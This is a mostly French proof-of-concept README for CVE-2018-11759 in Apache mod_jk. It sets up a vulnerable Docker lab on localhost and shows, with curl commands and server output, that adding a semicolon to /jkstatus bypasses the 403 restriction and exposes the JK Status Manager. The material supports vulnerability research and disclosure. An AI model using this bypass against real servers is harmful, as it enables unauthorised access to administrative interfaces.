
Proof of concept showing how to exploit the CVE-2018-11759
Le code spécifique à Apache Web Server (httpd) qui normalisait le chemin demandé avant de le faire correspondre à la carte URI-worker dans le connecteur Apache Tomcat JK (mod_jk) 1.2.0 à 1.2.44 ne gérait pas correctement certains cas limites. Si seulement un sous-ensemble des URLs supportées par Tomcat était exposé via httpd, alors il était possible qu'une requête spécialement conçue expose des fonctionnalités de l'application via le proxy inverse qui n'étaient pas destinées aux clients accédant à l'application via le proxy inverse. Il était également possible dans certaines configurations qu'une requête spécialement conçue contourne les contrôles d'accès configurés dans httpd. Bien qu'il y ait un certain chevauchement entre ce problème et le CVE-2018-1323, ils ne sont pas identiques.
La preuve de concept ci-dessous montre comment exploiter le CVE-2018-11759 ainsi que son impact sur le système d'information ciblé.
docker-compose up -d
Soyez patient, le processus peut être assez long la première fois.
Une fois en cours d'exécution, le proxy vulnérable sera accessible via l'adresse suivante http://localhost
Les points de terminaison montés avec une directive mod_jk JkMount, tels que l'interface du gestionnaire d'état JK (qui permet de gérer les workers AJP), peuvent être configurés pour être restreints de l'accès externe.
curl "http://localhost/jkstatus"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /jkstatus
on this server.</p>
</body></html>
Cette restriction peut être contournée en ajoutant un point-virgule au point de terminaison protégé.
curl "http://localhost/jkstatus;"
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>JK Status Manager</title></head>
<body>
<h1>JK Status Manager for localhost:8080</h1>
<table><tr><td>Server Version:</td><td>Apache/2.4.6 (CentOS) mod_jk/1.2.44</td><td> </td><td>Server Time:</td><td>2018-11-01 09:05:49 +0000</td></tr>
<tr><td>JK Version:</td><td>mod_jk/1.2.44</td><td></td><td>Unix Seconds:</td><td>1541063149</td></tr></table>
<hr/>
<table><tbody valign="baseline"><tr>
<td><form method="get" action="/jkstatus;">
<input type="submit" value="Start auto refresh"/>
(every <input name="re" type="text" size="3" value="10"/> seconds)</form>
</td><td> | </td>
<td>
<form method="get" action="/jkstatus;">
<input type="submit" value="Change format"/>
<select name="mime" size="1"><option value="xml">XML</option><option value="prop">Properties</option><option value="txt">Text</option></select></form>
</td>
</tr></tbody></table>
<table><tbody valign="baseline"><tr>
<td>
[<a href="/jkstatus;?opt=32">Read Only</a>]
</td>
<td>
[<a href="/jkstatus;?cmd=dump">Dump</a>]
</td>
<td>
[<b>S</b>=Show only this worker, <b>E</b>=Edit worker, <b>R</b>=Reset worker state, <b>T</b>=Try worker recovery]<br/>
</td>
...
Plus d'informations dans notre article de blog
Ce problème a été découvert pour la première fois par Alphan YAVAS de Biznet Bilisim A.S. et signalé de manière responsable à l'équipe de sécurité Apache Tomcat. Des vecteurs d'attaque supplémentaires ont été identifiés par Raphaël Arrouas (Xel) et Jean Lejeune (Nitrax) d'immunIT.